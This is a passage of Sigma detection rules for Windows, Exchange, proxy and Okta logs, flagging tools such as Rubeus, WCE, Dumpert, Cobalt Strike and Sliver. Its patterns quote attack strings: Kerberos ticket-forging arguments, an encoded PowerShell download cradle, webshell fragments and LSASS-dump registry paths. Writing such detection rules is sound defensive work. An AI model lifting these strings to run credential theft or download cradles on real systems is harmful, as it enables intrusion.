- IMPHASH=19584675D94829987952432E018D5056 # SysmonQuiet
- IMPHASH=330768A4F172E10ACB6287B87289D83B # ShaprEvtMute Hook
- IMPHASH=885C99CCFBE77D1CBFCB9C4E7C1A3313 # Forkatz
- IMPHASH=22A22BC9E4E0D2F189F1EA01748816AC # PPLKiller
- IMPHASH=7FA30E6BB7E8E8A69155636E50BF1B28 # PPLKiller
- IMPHASH=96DF3A3731912449521F6F8D183279B1 # Backstab
- IMPHASH=7E6CF3FF4576581271AC8A313B2AAB46 # Backstab
- IMPHASH=51791678F351C03A0EB4E2A7B05C6E17 # Backstab
- IMPHASH=25CE42B079282632708FC846129E98A5 # Forensia
- IMPHASH=021BCCA20BA3381B11BDDE26B4E62F20 # EDRSandBlast
- IMPHASH=59223B5F52D8799D38E0754855CBDF42 # EDRSandBlast
- IMPHASH=81E75D8F1D276C156653D3D8813E4A43 # EDRSandBlast
- IMPHASH=17244E8B6B8227E57FE709CCAD421420 # EDRSandBlast
- IMPHASH=5B76DA3ACDEDC8A5CDF23A798B5936B4 # EDRSandBlast
- IMPHASH=CB2B65BB77D995CC1C0E5DF1C860133C # EDRSandBlast
- IMPHASH=40445337761D80CF465136FAFB1F63E6 # EDRSandBlast
- IMPHASH=8A790F401B29FA87BC1E56F7272B3AA6 # EDRSilencer
- IMPHASH=B50199E952C875241B9CE06C971CE3C1 # EventLogCrasher
condition: selection
falsepositives:
- Legitimate use of one of these tools
level: critical
title: HackTool - PurpleSharp Execution
id: ff23ffbc-3378-435e-992f-0624dcf93ab4
status: test
description: Detects the execution of the PurpleSharp adversary simulation tool
references:
- https://github.com/mvelazc0/PurpleSharp
author: Florian Roth (Nextron Systems)
date: 2021-06-18
modified: 2023-02-05
tags:
- attack.t1587
- attack.resource-development
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|contains: '\purplesharp'
- OriginalFileName: 'PurpleSharp.exe'
selection_cli:
CommandLine|contains:
- 'xyz123456.exe'
- 'PurpleSharp'
condition: 1 of selection_*
falsepositives:
- Unlikely
level: critical
title: Renamed Whoami Execution
id: f1086bf7-a0c4-4a37-9102-01e573caf4a0
status: test
description: Detects the execution of whoami that has been renamed to a different name to avoid detection
references:
- https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
- https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
author: Florian Roth (Nextron Systems)
date: 2021-08-12
modified: 2022-10-09
tags:
- attack.discovery
- attack.t1033
- car.2016-03-001
logsource:
category: process_creation
product: windows
detection:
selection:
OriginalFileName: 'whoami.exe'
filter:
Image|endswith: '\whoami.exe'
condition: selection and not filter
falsepositives:
- Unknown
level: critical
title: HackTool - SharpUp PrivEsc Tool Execution
id: c484e533-ee16-4a93-b6ac-f0ea4868b2f1
status: test
description: Detects the use of SharpUp, a tool for local privilege escalation
references:
- https://github.com/GhostPack/SharpUp
author: Florian Roth (Nextron Systems)
date: 2022-08-20
modified: 2023-02-13
tags:
- attack.persistence
- attack.privilege-escalation
- attack.discovery
- attack.execution
- attack.stealth
- attack.t1615
- attack.t1569.002
- attack.t1574.005
logsource:
category: process_creation
product: windows
detection:
selection:
- Image|endswith: '\SharpUp.exe'
- Description: 'SharpUp'
- CommandLine|contains:
- 'HijackablePaths'
- 'UnquotedServicePath'
- 'ProcessDLLHijack'
- 'ModifiableServiceBinaries'
- 'ModifiableScheduledTask'
- 'DomainGPPPassword'
- 'CachedGPPPassword'
condition: selection
falsepositives:
- Unknown
level: critical
title: HackTool - Rubeus Execution
id: 7ec2c172-dceb-4c10-92c9-87c1881b7e18
related:
- id: 7ec2c172-dceb-4c10-92c9-87c1881b7e18
type: similar
status: stable
description: Detects the execution of the hacktool Rubeus via PE information of command line parameters
references:
- https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus
- https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
- https://github.com/GhostPack/Rubeus
author: Florian Roth (Nextron Systems)
date: 2018-12-19
modified: 2023-04-20
tags:
- attack.credential-access
- attack.t1003
- attack.t1558.003
- attack.lateral-movement
- attack.t1550.003
logsource:
category: process_creation
product: windows
detection:
selection:
- Image|endswith: '\Rubeus.exe'
- OriginalFileName: 'Rubeus.exe'
- Description: 'Rubeus'
- CommandLine|contains:
- 'asreproast '
- 'dump /service:krbtgt '
- 'dump /luid:0x'
- 'kerberoast '
- 'createnetonly /program:'
- 'ptt /ticket:'
- '/impersonateuser:'
- 'renew /ticket:'
- 'asktgt /user:'
- 'harvest /interval:'
- 's4u /user:'
- 's4u /ticket:'
- 'hash /password:'
- 'golden /aes256:'
- 'silver /user:'
condition: selection
falsepositives:
- Unlikely
level: critical
title: HackTool - Dumpert Process Dumper Execution
id: 2704ab9e-afe2-4854-a3b1-0c0706d03578
status: test
description: Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory
references:
- https://github.com/outflanknl/Dumpert
- https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
author: Florian Roth (Nextron Systems)
date: 2020-02-04
modified: 2025-01-22
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: process_creation
product: windows
detection:
selection:
- Hashes|contains: 'MD5=09D278F9DE118EF09163C6140255C690'
- CommandLine|contains: 'Dumpert.dll'
condition: selection
falsepositives:
- Very unlikely
level: critical
title: HackTool - F-Secure C3 Load by Rundll32
id: b18c9d4c-fac9-4708-bd06-dd5bfacf200f
status: test
description: F-Secure C3 produces DLLs with a default exported StartNodeRelay function.
references:
- https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12
author: Alfie Champion (ajpc500)
date: 2021-06-02
modified: 2023-03-05
tags:
- attack.stealth
- attack.t1218.011
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'rundll32.exe'
- '.dll'
- 'StartNodeRelay'
condition: selection
falsepositives:
- Unknown
level: critical
title: HackTool - DInjector PowerShell Cradle Execution
id: d78b5d61-187d-44b6-bf02-93486a80de5a
status: test
description: Detects the use of the Dinject PowerShell cradle based on the specific flags
references:
- https://web.archive.org/web/20211001064856/https://github.com/snovvcrash/DInjector # Original got deleted. This is a fork
author: Florian Roth (Nextron Systems)
date: 2021-12-07
modified: 2023-02-04
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- ' /am51'
- ' /password'
condition: selection
falsepositives:
- Unlikely
level: critical
title: HackTool - Sliver C2 Implant Activity Pattern
id: 42333b2c-b425-441c-b70e-99404a17170f
status: test
description: Detects process activity patterns as seen being used by Sliver C2 framework implants
references:
- https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36
- https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
author: Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-08-25
modified: 2023-03-05
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'
condition: selection
falsepositives:
- Unlikely
level: critical
title: HackTool - SecurityXploded Execution
id: 7679d464-4f74-45e2-9e01-ac66c5eb041a
status: stable
description: Detects the execution of SecurityXploded Tools
references:
- https://securityxploded.com/
- https://web.archive.org/web/20200601000524/https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/
author: Florian Roth (Nextron Systems)
date: 2018-12-19
modified: 2023-02-04
tags:
- attack.credential-access
- attack.t1555
logsource:
category: process_creation
product: windows
detection:
selection:
- Company: SecurityXploded
- Image|endswith: 'PasswordDump.exe'
- OriginalFileName|endswith: 'PasswordDump.exe'
condition: selection
falsepositives:
- Unlikely
level: critical
title: Potential Credential Dumping Via LSASS Process Clone
id: c8da0dfd-4ed0-4b68-962d-13c9c884384e
status: test
description: Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity
references:
- https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/
- https://twitter.com/Hexacorn/status/1420053502554951689
- https://twitter.com/SBousseaden/status/1464566846594691073?s=20
author: Florian Roth (Nextron Systems), Samir Bousseaden
date: 2021-11-27
modified: 2023-03-02
tags:
- attack.credential-access
- attack.t1003
- attack.t1003.001
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\Windows\System32\lsass.exe'
Image|endswith: '\Windows\System32\lsass.exe'
condition: selection
falsepositives:
- Unknown
level: critical
title: HackTool - Windows Credential Editor (WCE) Execution
id: 7aa7009a-28b9-4344-8c1f-159489a390df
status: test
description: |
Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory.
It is often used by threat actors for credential dumping and lateral movement within compromised networks.
references:
- https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2025-10-21
tags:
- attack.credential-access
- attack.t1003.001
- attack.s0005
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\WCE.exe'
- '\WCE64.exe'
selection_hash:
Hashes|contains:
- 'IMPHASH=136F0A8572C058A96436C82E541E4C41'
- 'IMPHASH=589657C64DDE88533186C39F82FA1F50'
- 'IMPHASH=6BFE09EFCB4FFDE061EBDBAFC4DB84CF'
- 'IMPHASH=7D490037BF450877E6D0287BDCFF8D2E'
- 'IMPHASH=8AB93B061287C79F3088C5BC7E7D97ED'
- 'IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F'
- 'IMPHASH=BA434A7A729EEC20E136CA4C32D6C740'
- 'IMPHASH=BD1D1547DA13C0FCB6C15E86217D5EB8'
- 'IMPHASH=E96A73C7BF33A464C510EDE582318BF2'
condition: 1 of selection_*
falsepositives:
- Unknown
level: critical
title: Potential DCOM InternetExplorer.Application DLL Hijack - Image Load
id: f354eba5-623b-450f-b073-0b5b2773b6aa
related:
- id: e554f142-5cf3-4e55-ace9-a1b59e0def65
type: obsolete
- id: 2f7979ae-f82b-45af-ac1d-2b10e93b0baa
type: similar
status: test
description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class
references:
- https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga
date: 2020-10-12
modified: 2022-12-18
tags:
- attack.lateral-movement
- attack.t1021.002
- attack.t1021.003
logsource:
product: windows
category: image_load
detection:
selection:
Image|endswith: '\Internet Explorer\iexplore.exe'
ImageLoaded|endswith: '\Internet Explorer\iertutil.dll'
condition: selection
falsepositives:
- Unknown
level: critical
title: Audit CVE Event
id: 48d91a3a-2363-43ba-a456-ca71ac3da5c2
status: test
description: |
Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.
MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.
Unfortunately, that is about the only instance of CVEs being written to this log.
references:
- https://twitter.com/VM_vivisector/status/1217190929330655232
- https://twitter.com/DidierStevens/status/1217533958096924676
- https://twitter.com/FlemmingRiis/status/1217147415482060800
- https://www.youtube.com/watch?v=ebmW42YYveI # "CVEs in Windows Event Logs? What You Need to Know" by 13Cubed.
- https://nullsec.us/windows-event-log-audit-cve/
author: Florian Roth (Nextron Systems), Zach Mathis
date: 2020-01-15
modified: 2022-10-22
tags:
- attack.execution
- attack.stealth
- attack.t1203
- attack.privilege-escalation
- attack.t1068
- attack.t1211
- attack.credential-access
- attack.t1212
- attack.lateral-movement
- attack.t1210
- attack.impact
- attack.t1499.004
logsource:
product: windows
service: application
detection:
selection:
Provider_Name:
- 'Microsoft-Windows-Audit-CVE'
- 'Audit-CVE'
EventID: 1
condition: selection
falsepositives:
- Unknown
level: critical
title: Suspicious Cobalt Strike DNS Beaconing - DNS Client
id: 0d18728b-f5bf-4381-9dcf-915539fff6c2
related:
- id: f356a9c4-effd-4608-bbf8-408afd5cd006
type: similar
status: test
description: Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons
references:
- https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
- https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-16
tags:
- attack.t1071.004
- attack.command-and-control
logsource:
product: windows
service: dns-client
definition: 'Requirements: Microsoft-Windows-DNS Client Events/Operational Event Log must be enabled/collected in order to receive the events.'
detection:
selection_eid:
EventID: 3008
selection_query_1:
QueryName|startswith:
- 'aaa.stage.'
- 'post.1'
selection_query_2:
QueryName|contains: '.stage.123456.'
condition: selection_eid and 1 of selection_query_*
falsepositives:
- Unknown
level: critical
title: Certificate Request Export to Exchange Webserver
id: b7bc7038-638b-4ffd-880c-292c692209ef
status: test
description: Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell
references:
- https://twitter.com/GossiTheDog/status/1429175908905127938
author: Max Altgelt (Nextron Systems)
date: 2021-08-23
modified: 2023-01-23
tags:
- attack.persistence
- attack.t1505.003
logsource:
service: msexchange-management
product: windows
detection:
keywords_export_command:
'|all':
- 'New-ExchangeCertificate'
- ' -GenerateRequest'
- ' -BinaryEncoded'
- ' -RequestFile'
keywords_export_params:
- '\\\\localhost\\C$'
- '\\\\127.0.0.1\\C$'
- 'C:\\inetpub'
- '.aspx'
condition: keywords_export_command and keywords_export_params
falsepositives:
- Unlikely
level: critical
title: ProxyLogon MSExchange OabVirtualDirectory
id: 550d3350-bb8a-4ff3-9533-2ba533f4a1c0
status: test
description: Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory
references:
- https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
author: Florian Roth (Nextron Systems)
date: 2021-08-09
modified: 2023-01-23
tags:
- attack.t1587.001
- attack.resource-development
logsource:
product: windows
service: msexchange-management
detection:
keywords_cmdlet:
'|all':
- 'OabVirtualDirectory'
- ' -ExternalUrl '
keywords_params:
- 'eval(request'
- 'http://f/<script'
- '"unsafe"};'
- 'function Page_Load()'
condition: keywords_cmdlet and keywords_params
falsepositives:
- Unlikely
level: critical
title: Mailbox Export to Exchange Webserver
id: 516376b4-05cd-4122-bae0-ad7641c38d48
status: test
description: Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it
references:
- https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
author: Florian Roth (Nextron Systems), Rich Warren, Christian Burkard (Nextron Systems)
date: 2021-08-09
modified: 2023-04-30
tags:
- attack.persistence
- attack.t1505.003
logsource:
service: msexchange-management
product: windows
detection:
export_command:
'|all':
- 'New-MailboxExportRequest'
- ' -Mailbox '
export_params:
- '-FilePath "\\\\' # We care about any share location.
- '.aspx'
role_assignment:
'|all':
- 'New-ManagementRoleAssignment'
- ' -Role "Mailbox Import Export"'
- ' -User '
condition: (export_command and export_params) or role_assignment
falsepositives:
- Unlikely
level: critical
title: Win Susp Computer Name Containing Samtheadmin
id: 39698b3f-da92-4bc6-bfb5-645a98386e45
status: test
description: Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool
references:
- https://twitter.com/malmoeb/status/1511760068743766026
- https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py
author: elhoim
date: 2022-09-09
modified: 2023-01-04
tags:
- attack.initial-access
- cve.2021-42278
- cve.2021-42287
- attack.persistence
- attack.privilege-escalation
- attack.stealth
- attack.t1078
logsource:
service: security
product: windows
detection:
# Not adding an EventID on purpose to try to match on any event in security (including use of account), not just 4741 (computer account created)
selection1:
SamAccountName|startswith: 'SAMTHEADMIN-'
SamAccountName|endswith: '$'
selection2:
TargetUserName|startswith: 'SAMTHEADMIN-'
TargetUserName|endswith: '$'
condition: 1 of selection*
falsepositives:
- Unknown
level: critical
title: WCE wceaux.dll Access
id: 1de68c67-af5c-4097-9c85-fe5578e09e67
status: test
description: Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host
references:
- https://www.jpcert.or.jp/english/pub/sr/ir_research.html
- https://jpcertcc.github.io/ToolAnalysisResultSheet
author: Thomas Patzke
date: 2017-06-14
modified: 2025-01-30
tags:
- attack.credential-access
- attack.t1003
- attack.s0005
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4656
- 4663
ObjectName|endswith: '\wceaux.dll'
condition: selection
falsepositives:
- Unknown
level: critical
title: Moriya Rootkit - System
id: 25b9c01c-350d-4b95-bed1-836d04a4f324
status: test
description: Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report
references:
- https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831
author: Bhabesh Raj
date: 2021-05-06
modified: 2022-11-29
tags:
- attack.persistence
- attack.privilege-escalation
- attack.t1543.003
logsource:
product: windows
service: system
detection:
selection:
Provider_Name: 'Service Control Manager'
EventID: 7045
ServiceName: ZzNetSvc
condition: selection
falsepositives:
- Unknown
level: critical
title: CobaltStrike Service Installations - System
id: 5a105d34-05fc-401e-8553-272b45c1522d
status: test
description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
references:
- https://www.sans.org/webcasts/119395
- https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/
- https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
author: Florian Roth (Nextron Systems), Wojciech Lesicki
date: 2021-05-26
modified: 2022-11-27
tags:
- attack.persistence
- attack.execution
- attack.privilege-escalation
- attack.lateral-movement
- attack.t1021.002
- attack.t1543.003
- attack.t1569.002
logsource:
product: windows
service: system
detection:
selection_id:
Provider_Name: 'Service Control Manager'
EventID: 7045
selection1:
ImagePath|contains|all:
- 'ADMIN$'
- '.exe'
selection2:
ImagePath|contains|all:
- '%COMSPEC%'
- 'start'
- 'powershell'
selection3:
ImagePath|contains: 'powershell -nop -w hidden -encodedcommand'
selection4:
ImagePath|base64offset|contains: "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:"
condition: selection_id and (selection1 or selection2 or selection3 or selection4)
falsepositives:
- Unknown
level: critical
title: Zerologon Exploitation Using Well-known Tools
id: 18f37338-b9bd-4117-a039-280c81f7a596
status: stable
description: This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.
references:
- https://www.secura.com/blog/zero-logon
- https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382
author: 'Demyan Sokolin @_drd0c, Teymur Kheirkhabarov @HeirhabarovT, oscd.community'
date: 2020-10-13
modified: 2021-05-30
tags:
- attack.t1210
- attack.lateral-movement
logsource:
service: system
product: windows
detection:
selection:
EventID:
- 5805
- 5723
keywords:
- kali
- mimikatz
condition: selection and keywords
level: critical
title: Registry Entries For Azorult Malware
id: f7f9ab88-7557-4a69-b30e-0a8f91b3a0e7
status: test
description: Detects the presence of a registry key created during Azorult execution
references:
- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a
author: Trent Liffick
date: 2020-05-08
modified: 2021-11-27
tags:
- attack.persistence
- attack.execution
- attack.defense-impairment
- attack.t1112
logsource:
product: windows
category: registry_event
detection:
selection:
EventID:
- 12
- 13
TargetObject|contains: 'SYSTEM\'
TargetObject|endswith: '\services\localNETService'
condition: selection
falsepositives:
- Unknown
level: critical
title: Windows Credential Editor Registry
id: a6b33c02-8305-488f-8585-03cb2a7763f2
status: test
description: Detects the use of Windows Credential Editor (WCE)
references:
- https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2021-11-27
tags:
- attack.credential-access
- attack.t1003.001
- attack.s0005
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains: Services\WCESERVICE\Start
condition: selection
falsepositives:
- Unknown
level: critical
title: Potential Credential Dumping Via LSASS SilentProcessExit Technique
id: 55e29995-75e7-451a-bef0-6225e2f13597
related:
- id: 36803969-5421-41ec-b92f-8500f79c23b0
type: similar
status: test
description: Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process
references:
- https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
- https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
author: Florian Roth (Nextron Systems)
date: 2021-02-26
modified: 2022-12-19
tags:
- attack.credential-access
- attack.t1003.001
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains: 'Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe'
condition: selection
falsepositives:
- Unlikely
level: critical
title: HackTool - BabyShark Agent Default URL Pattern
id: 304810ed-8853-437f-9e36-c4975c3dfd7e
status: test
description: Detects Baby Shark C2 Framework default communication patterns
references:
- https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845
author: Florian Roth (Nextron Systems)
date: 2021-06-09
modified: 2024-02-15
tags:
- attack.command-and-control
- attack.t1071.001
logsource:
category: proxy
detection:
selection:
c-uri|contains: 'momyshark\?key='
condition: selection
falsepositives:
- Unlikely
level: critical
title: PwnDrp Access
id: 2b1ee7e4-89b6-4739-b7bb-b811b6607e5e
status: test
description: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity
references:
- https://breakdev.org/pwndrop/
author: Florian Roth (Nextron Systems)
date: 2020-04-15
modified: 2021-11-27
tags:
- attack.command-and-control
- attack.t1071.001
- attack.t1102.001
- attack.t1102.003
logsource:
category: proxy
detection:
selection:
c-uri|contains: '/pwndrop/'
condition: selection
falsepositives:
- Unknown
level: critical
title: Okta New Admin Console Behaviours
id: a0b38b70-3cb5-484b-a4eb-c4d8e7bcc0a9
status: test
description: Detects when Okta identifies new activity in the Admin Console.
references:
- https://developer.okta.com/docs/reference/api/system-log/
- https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
author: kelnage
date: 2023-09-07
modified: 2026-04-27
tags:
- attack.privilege-escalation
- attack.persistence
- attack.initial-access
- attack.stealth
- attack.t1078.004
logsource:
product: okta
service: okta
detection:
selection_event:
eventType: 'policy.evaluate_sign_on'
target.displayName: 'Okta Admin Console'
selection_positive:
- debugContext.debugData.behaviors|contains: 'POSITIVE'
- debugContext.debugData.logOnlySecurityData|contains: 'POSITIVE'
condition: all of selection_*
falsepositives:
- When an admin begins using the Admin Console and one of Okta's heuristics incorrectly identifies the behavior as being unusual.
level: high